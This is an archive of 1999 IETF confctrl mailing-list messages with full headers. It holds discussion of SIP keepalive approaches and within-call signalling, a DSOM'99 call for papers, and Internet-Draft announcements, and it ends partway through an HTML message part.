From confctrl-owner  Thu Feb  4 08:13:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA08248
	for confctrl-outgoing; Thu, 4 Feb 1999 08:13:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA08243
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 08:13:20 -0800 (PST)
Received: from gwa.fr.bosch.de (firewall-user@gwa.fr.bosch.de [194.120.36.67])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA09887
	for <confctrl@isi.edu>; Thu, 4 Feb 1999 08:13:19 -0800 (PST)
Received: (from uucp@localhost)
	by gwa.fr.bosch.de (8.9.1/8.9.1) id RAA09182
	for <confctrl@isi.edu>; Thu, 4 Feb 1999 17:13:14 +0100 (MET)
Received: from mailgate.fr.internet.bosch.de( 194.120.36.134) by gwa.fr.bosch.de via smap (V2.1)
	id xma006689; Thu, 4 Feb 99 17:10:23 +0100
Received: from sioux.fr.internet.bosch.de (sioux.fr.internet.bosch.de [192.48.31.11])
	by mailgate.fr.internet.bosch.de (8.9.1/8.9.1) with ESMTP id RAA22681
	for <confctrl@isi.edu>; Thu, 4 Feb 1999 17:10:22 +0100 (MET)
Received: from frss01.fr.bosch.de (frss01.fr.bosch.de [143.1.15.1])
	by sioux.fr.internet.bosch.de (8.9.1/8.9.1) with SMTP id RAA03039
	for <confctrl@isi.edu>; Thu, 4 Feb 1999 17:10:22 +0100 (MET)
Received: from frsx44 by frss01.fr.bosch.de (SMI-8.6/SMI-SS-2.5-IDB-1.4)
	id RAA25401; Thu, 4 Feb 1999 17:10:54 +0100
From: Matthias.Nolle@Fr.Bosch.DE (Matthias Nolle)
Received: (from nolle@localhost) by frsx44 (SMI-8.6/8.8.3) id RAA19273 for confctrl@isi.edu; Thu, 4 Feb 1999 17:10:53 +0100
Date: Thu, 4 Feb 1999 17:10:53 +0100
Message-Id: <199902041610.RAA19273@frsx44>
To: confctrl@ISI.EDU
Subject: Re: Within-Call Signalling and SIP
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> In the telephony world, a lot of signalling events occur autonomously,
> rather than as part of an established sequence.  As a specific example, if
> the called party puts the caller on hold and wants that to mean temporary
> freeing of network resources between them, the called party needs the
> caller's help.  In the telephony world, messages such as Q.931's FACILITY
> message can be used to carry the necessary signalling.

As far as I know, in the ISDN world, the only intermediate resource being
released is the B-channel to the called party. No intermediate network 
resources are released for a consultation call.

	Matthias Nolle

From confctrl-owner  Thu Feb  4 08:20:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA08647
	for confctrl-outgoing; Thu, 4 Feb 1999 08:20:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA08642
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 08:20:27 -0800 (PST)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10244
	for <confctrl@ISI.EDU>; Thu, 4 Feb 1999 08:20:17 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id KAA22961;
	Thu, 4 Feb 1999 10:19:43 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA15060;
	Thu, 4 Feb 1999 10:19:42 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA11821; Thu, 4 Feb 1999 10:19:39 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id KAA23260; Thu, 4 Feb 1999 10:21:00 -0600 (CST)
Message-Id: <199902041621.KAA23260@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Thu, 4 Feb 1999 10:21:00 -0600 (CST)
Cc: Adam.Roach@ericsson.com, lars.berggren@intertex.se,
        eussean@exu.ericsson.se, confctrl@ISI.EDU
In-Reply-To: <36B94410.5E3CA590@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Feb 4, 99 01:54:08 am
From: Adam.Roach@ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> I maintain that a PING approach takes fewer messages, and less overall
>> handling, than re-INVITEs. I'll demonstrate.

[demonstration removed]

>This presumes a single proxy. With multiple proxies, the PING method is
>more unless you use caching, and I still maintain that the caching is
>going to be a real pain. Invalidation issues, synchronization issues,
>etc. The re-INVITE approach is the least change, most in line with the
>SIP model of peer to peer signaling, and most likely to work with
>proxies that don't understand (new methods are always risky). Same is
>true for user agents.

True. 

However, the caching issue doesn't seem to be much of a concern for
resource release; while it may take some time for caches to update,
the resources allocated in all of the SIP devices will *eventually*
become aware of a failure and shut down the call. This is exactly
the model that, for example, telephony IN nodes use (at a higher
level) to detect this sort of failure (eg the CS1 ActivityTest
operation). For any type of session where this type of failure needs
to be indicated faster, it is almost certain that one can detect
this as an interruption in a media stream.

At any rate, should we start putting together a description of
the semantics for periodic re-INVITEs, both client and proxy-initiated,
to ensure keepalive? Is there sufficient interest in *this* solution?

>> Some have proposed that the ACKs in the re-INVITE solution are
>> not strictly necessary.
>
>Not doing ACK's for re-INVITEs is a *bad* idea. If the UAS crashes and
>reboots and then receives a re-INVITE, it thinks its an original INVITE,
>not a re-INVITE, and then things get really confusing. Whats nice about
>re-INVITE is its nothing different - an idempotent invitation to a
>session. 

An excellent point.

/a

From confctrl-owner  Thu Feb  4 18:50:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA08623
	for confctrl-outgoing; Thu, 4 Feb 1999 18:50:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA08614
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 18:50:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA16955
	for <confctrl@isi.edu>; Thu, 4 Feb 1999 18:50:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb  4 21:49:53 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.89])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA21235;
	Thu, 4 Feb 1999 21:49:51 -0500 (EST)
Message-ID: <36BA5C24.B9D7705E@dnrc.bell-labs.com>
Date: Thu, 04 Feb 1999 21:49:08 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: lars.berggren@intertex.se, Adam.Roach@Ericsson.com, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199902041533.JAA10028@b04a42.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> 
> I just hope one or the other approaches can make it into the SIP standard.

Well, its clearly too late for this, since SIP is now officially
approved. So, the question is whether to (1) have it as an extension,
(2) roll it in for draft, (3) cycle SIP at proposed later on and then
add it in then. 

I would probably prefer making it (whatever it is) an extension, and
then see how deployment goes. If people really implement it and make use
of it, it can be added to the spec itself when it goes to draft or
cycles at proposed, depending on which happens.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb  4 18:58:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA09021
	for confctrl-outgoing; Thu, 4 Feb 1999 18:58:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA09016
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 18:58:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA18082
	for <confctrl@isi.edu>; Thu, 4 Feb 1999 18:58:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb  4 21:56:47 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.89])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA21270;
	Thu, 4 Feb 1999 21:56:45 -0500 (EST)
Message-ID: <36BA5DC1.63A3CDA3@dnrc.bell-labs.com>
Date: Thu, 04 Feb 1999 21:56:01 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: lars.berggren@intertex.se, eussean@exu.ericsson.se, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199902041621.KAA23260@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> >This presumes a single proxy. With multiple proxies, the PING method is
> >more unless you use caching, and I still maintain that the caching is
> >going to be a real pain. Invalidation issues, synchronization issues,
> >etc. The re-INVITE approach is the least change, most in line with the
> >SIP model of peer to peer signaling, and most likely to work with
> >proxies that don't understand (new methods are always risky). Same is
> >true for user agents.
> 
> True.
> 
> However, the caching issue doesn't seem to be much of a concern for
> resource release; while it may take some time for caches to update,
> the resources allocated in all of the SIP devices will *eventually*
> become aware of a failure and shut down the call. This is exactly
> the model that, for example, telephony IN nodes use (at a higher
> level) to detect this sort of failure (eg the CS1 ActivityTest
> operation). For any type of session where this type of failure needs
> to be indicated faster, it is almost certain that one can detect
> this as an interruption in a media stream.

It makes me worried when we design a protocol for keepalives with known
cache inconsistency problems, under the presumption its use is limited
to resource release. The mechanism is fairly general; I'd rather not
eliminate its use for other things (whatever they may be). Now, we could
simply deal with it; this might require some additional headers for
indicating when the state was last verified with the client, and some
headers for allowing a proxy to indicate it wants an official answer now
rather than a cached one (basically, many of the http caching headers).
Once we do this, I think we have a solution which is quite a bit harder
than re-INVITEs.


> 
> At any rate, should we start putting together a description of
> the semantics for periodic re-INVITEs, both client and proxy-initiated,
> to ensure keepalive? Is there sufficient interest in *this* solution?

Sure - write it up as an I-D. You don't even need consensus or interest
for that, but I think there is interest anyway.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb  4 23:48:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA18905
	for confctrl-outgoing; Thu, 4 Feb 1999 23:48:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA18900
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 23:48:56 -0800 (PST)
Received: from tik2.ethz.ch (tik-tik2.ethz.ch [129.132.119.197])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02166;
	Thu, 4 Feb 1999 23:48:54 -0800 (PST)
Received: from [129.132.57.188] (mac-1909.ethz.ch [129.132.57.188])
	by tik2.ethz.ch (8.8.8/8.8.8) with ESMTP id IAA23302;
	Fri, 5 Feb 1999 08:37:51 +0100 (MET)
X-Sender: stiller@tik2.ethz.ch
Message-Id: <v03110706b2e04ef9cb04@[129.132.57.188]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 5 Feb 1999 08:37:49 +0100
To: IETF-Announce@es.net
From: Burkhard Stiller <stiller@tik.ee.ethz.ch>
Subject: CfP: DSOM'99
Cc: stiller@tik.ee.ethz.ch
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please apologize, if you receive multiple copies.

--------------------------------------------------------------------------

Dear Colleagues,

	please find enclosed the CfP for the DSOM'99 Workshop on
"Distributed Systems: Operation and Maintenace" which should be distribute
to interested colleagues as well.

Kind regards,
Burkhard Stiller
DSOM'99 Technical Program Co-chair

--------------------------------------------------------------------------


                         Call for Papers

            Tenth IFIP/IEEE International Workshop on
           Distributed Systems: Operations & Management
                             DSOM'99

Swiss Federal Institute of Technology ETH, TIK, Zurich, Switzerland
                      October 11-13, 1999
                http://www.tik.ee.ethz.ch/dsom99

The Tenth Annual IFIP/IEEE International Workshop on "Distributed
Systems: Operations and Management" (DSOM'99) will be hosted by the
Computer Engineering and Networks Laboratory TIK of the Swiss
Federal Institute of Technology ETH in Zurich. DSOM'99 is sponsored
by the IFIP Working Group 6.6 with technical co-sponsorship by the
IEEE Communications Society. DSOM'99 follows a series of highly
successful meetings, the latest of which took place in Delaware,
USA (DSOM'98), Sydney, Australia (DSOM'97), and L'Aquila, Italy
(DSOM'96).

The DSOM workshops focus on the latest advancements in operations
and management in networked environments and discuss the impact of
emerging computing and networking technologies on management. Of
specific interest to DSOM'99 will be the current developments in
the field of active and programmable networks.

The workshop will be limited to approximately 100 participants and
will follow a single track program, in order to allow for in-depth
discussions and interaction among workshop participants. The workshop
proceedings will be published by Springer-Verlag in the Lecture Notes
in Computer Science series.


TOPICS

Authors are invited to submit research and experience papers.
Topics of interest include:
	- Management of Active and Programmable Networks
	- Mobile and Intelligent Agent Technology in Management
	- Telecommunication Services Management
	- Interdomain Management
	- Management of Mobile Systems and Networks
	- Management of the Internet and Internet Services
	- Enabling Management Platforms: CORBA, Java, Web, etc.
	- Integration of Network Control and Management
	- Monitoring, Event Handling, and Fault Management of
	  Networks and Services
	- Policy-Based Management
	- Security Management
	- Management Aspects of Service Pricing and Electronic
 	  Commerce


PAPER SUBMISSIONS

Paper submissions must present original, unpublished research or
experiences. They should be full papers and be no longer than 5000
words (less than 12 single-spaced pages). Submissions must include
a cover page in ASCII format, containing the title, author name(s)
and affiliation(s), the complete address (telephone, fax, email) of
the corresponding author, and an abstract (max 150 words) followed
by up to 5 keywords.

Papers under review elsewhere must not be submitted to DSOM'99.

Authors are requested to submit papers in electronic PDF or
Postscript format. Instructions for electronic submissions are
available at the following URL: http://www.tik.ee.ethz.ch/dsom99.


IMPORTANT DATES

	April 1, 1999: 	Submission of Full Papers
	June 15, 1999: 	Notifications of Acceptance
	August 1, 1999:	Camera-ready Papers Due Date


ORGANIZING COMMITTEE

Conference Chair:
	Rolf Stadler, Columbia University, USA
Technical Program Co-Chairs:
	Burkhard Stiller, ETH Zurich, TIK, Switzerland
	Rolf Stadler, Columbia University, USA

TECHNICAL PROGRAM COMMITTEE

	Sebastian Abeck, University of Karlsruhe, Germany
	Nikos Aneurousis, ATT Research, USA
	Raouf Boutaba, University of Toronto, Canada
	Seraphin B. Calo, IBM Research, USA
	Metin Feridun, IBM Research, Switzerland
	Rob Davison, BT, UK
	Kurt Geihs, University of Frankfurt
	German Goldszmidt, IBM Research, USA
	Sigmund Handelman, IBM Research, USA
	Heinz-Gerd Hegering, University of Munich, Germany
	Joseph Hellerstein, IBM Research, USA
	Jean-Pierre Hubaux, EPFL, Switzerland
	Gabriel Jakobson, GTE Laboratories, USA
	Pramod Kalyanasundaram, Lucent Technologies, USA
	Ryutaro Kawamura, NTT, Japan
	Yoshiaki Kiriha, NEC, Japan
	Emil Lupu, Imperial College, UK
	Kenneth Lutz, Bellcore, USA
	Subrata Mazumdar, Bell Laboratories, USA
	Branislav Meandzija, General Instrument Corporation, USA
	George Pavlou, University of Surrey, UK
	Pradeep Ray, University W. Sydney, Australia
	Morris Sloman, Imperial College, UK
	Juergen Schoenwaelder, Technical University Braunschweig, Germany
	Roberto Saracco, CSELT, Italy
	Adarshpal Sethi, University of Delaware, USA
	Carlos B. Westphall, Federal University of Santa Catarina, Brasil
	Wolfgang Zimmer, GMD FIRST, Germany
	Simon Znaty, ENST-Bretagne, France
	Douglas Zuckerman, Bellcore, USA


***********************************************************************
   Dr. Burkhard Stiller
   Institut fuer Technische Informatik und Kommunikationsnetze (TIK)
   FG Kommunikationssysteme
   ETH Zuerich                             Tel.: +41 / +1 / 632 7016
   Gloriastr. 35                           FAX:  +41 / +1 / 632 1035
   CH-8092 Zuerich                    E-Mail: stiller@tik.ee.ethz.ch
   Schweiz                   WWW: http://www.tik.ee.ethz.ch/~stiller
***********************************************************************



From confctrl-owner  Fri Feb  5 04:41:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA28371
	for confctrl-outgoing; Fri, 5 Feb 1999 04:41:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA28366
	for <confctrl@zephyr.isi.edu>; Fri, 5 Feb 1999 04:41:00 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA13504
	for <confctrl@isi.edu>; Fri, 5 Feb 1999 04:40:56 -0800 (PST)
Received: from scary.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.18910-0@bells.cs.ucl.ac.uk>; Fri, 5 Feb 1999 12:40:32 +0000
to: rem-conf@es.net, confctrl@ISI.EDU
Subject: RTP Payload types for miniature animatronic figures.
Date: Fri, 05 Feb 1999 12:40:31 +0100
Message-ID: <1475.918218431@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


there are now several protocols for  communicating and controlling
voice communication to/from automata
viz
http://www.homestead.com/hackfurby/
http://www.geekchic.com/~jpd/barney

we should be getting rtp payload types for these and adding appropriate
message types for them to the confbus work in mmusic too

surely? our children's future depends on this...

 cheers

   jon
sorry for the cross posting...

From confctrl-owner  Mon Feb  8 07:15:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA11236
	for confctrl-outgoing; Mon, 8 Feb 1999 07:15:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA11231
	for <confctrl@zephyr.isi.edu>; Mon, 8 Feb 1999 07:15:42 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13046
	for <confctrl@isi.edu>; Mon, 8 Feb 1999 07:15:41 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id KAA18360;
	Mon, 8 Feb 1999 10:15:05 -0500 (EST)
Message-Id: <199902081515.KAA18360@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-multipart-00.txt
Date: Mon, 08 Feb 1999 10:15:05 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The multipart/sip-id media type
	Author(s)	: C. Huitema
	Filename	: draft-ietf-mmusic-sip-multipart-00.txt
	Pages		: 4
	Date		: 05-Feb-99
	
This document proposes the definition of a multipart/sip-id media type,
according to the rules defined in RFC 2048.  This media type is intended
to be carried by the session invitation protocol messages, when these
messages are used to route calls between Internet Telephony domains.


A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-multipart-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-multipart-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-multipart-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990205142154.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-multipart-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-multipart-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990205142154.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Feb  8 07:23:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA11522
	for confctrl-outgoing; Mon, 8 Feb 1999 07:23:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA11516
	for <confctrl@zephyr.isi.edu>; Mon, 8 Feb 1999 07:23:50 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13436
	for <confctrl@isi.edu>; Mon, 8 Feb 1999 07:23:48 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id KAA18511;
	Mon, 8 Feb 1999 10:23:14 -0500 (EST)
Message-Id: <199902081523.KAA18511@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-multipart-00.txt
Date: Mon, 08 Feb 1999 10:23:14 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: The multipart/sip-id media type
	Author(s)	: C. Huitema
	Filename	: draft-ietf-mmusic-sip-multipart-00.txt
	Pages		: 4
	Date		: 05-Feb-99
	
This document proposes the definition of a multipart/sip-id media type,
according to the rules defined in RFC 2048.  This media type is intended
to be carried by the session invitation protocol messages, when these
messages are used to route calls between Internet Telephony domains.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-multipart-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-multipart-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-multipart-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990205153502.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-multipart-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-multipart-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990205153502.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Feb  9 07:33:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA14064
	for confctrl-outgoing; Tue, 9 Feb 1999 07:33:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14059
	for <confctrl@zephyr.isi.edu>; Tue, 9 Feb 1999 07:33:32 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28768
	for <confctrl@ISI.EDU>; Tue, 9 Feb 1999 07:33:31 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA01246; Tue, 9 Feb 1999 14:32:30 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <1N9B0SK2>; Tue, 9 Feb 1999 15:32:59 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D85773FE@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: confctrl@ISI.EDU, iptel@lists.research.bell-labs.com
Subject: draft-ietf-mmusic-sip-info-method-00.txt
Date: Tue, 9 Feb 1999 15:32:58 -0000 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01BE5441.78D61FBE"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BE5441.78D61FBE
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE5441.78D61FBE"


------_=_NextPart_001_01BE5441.78D61FBE
Content-Type: text/plain

This message is notification of the following Internet Draft which has been
submitted to the IETF for posting.

<draft-ietf-mmusic-sip-info-method-00.txt> 

Abstract: 

This document proposes an extension to the Session Initiation Protocol.
This extension adds the INFO method to the SIP protocol.  The intent
of the INFO method is to allow for the carrying of session related 
control information that is generated during a session.  Examples of
such session control information are ISUP/ISDN signaling messages
and DTMF digits used to control telephony services.

The internet draft is attached.

Steve Donovan
MCIWorldcom

 <<draft-ietf-mmusic-sip-info-method-00.txt>> 

------_=_NextPart_001_01BE5441.78D61FBE
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>draft-ietf-mmusic-sip-info-method-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">This message is =
notification of the following Internet Draft which has been submitted =
to the IETF for posting.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Fixedsys">&lt;draft-ietf-mmusic-sip-info-method-00.txt&gt; =
</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">Abstract:<BR>
</FONT>
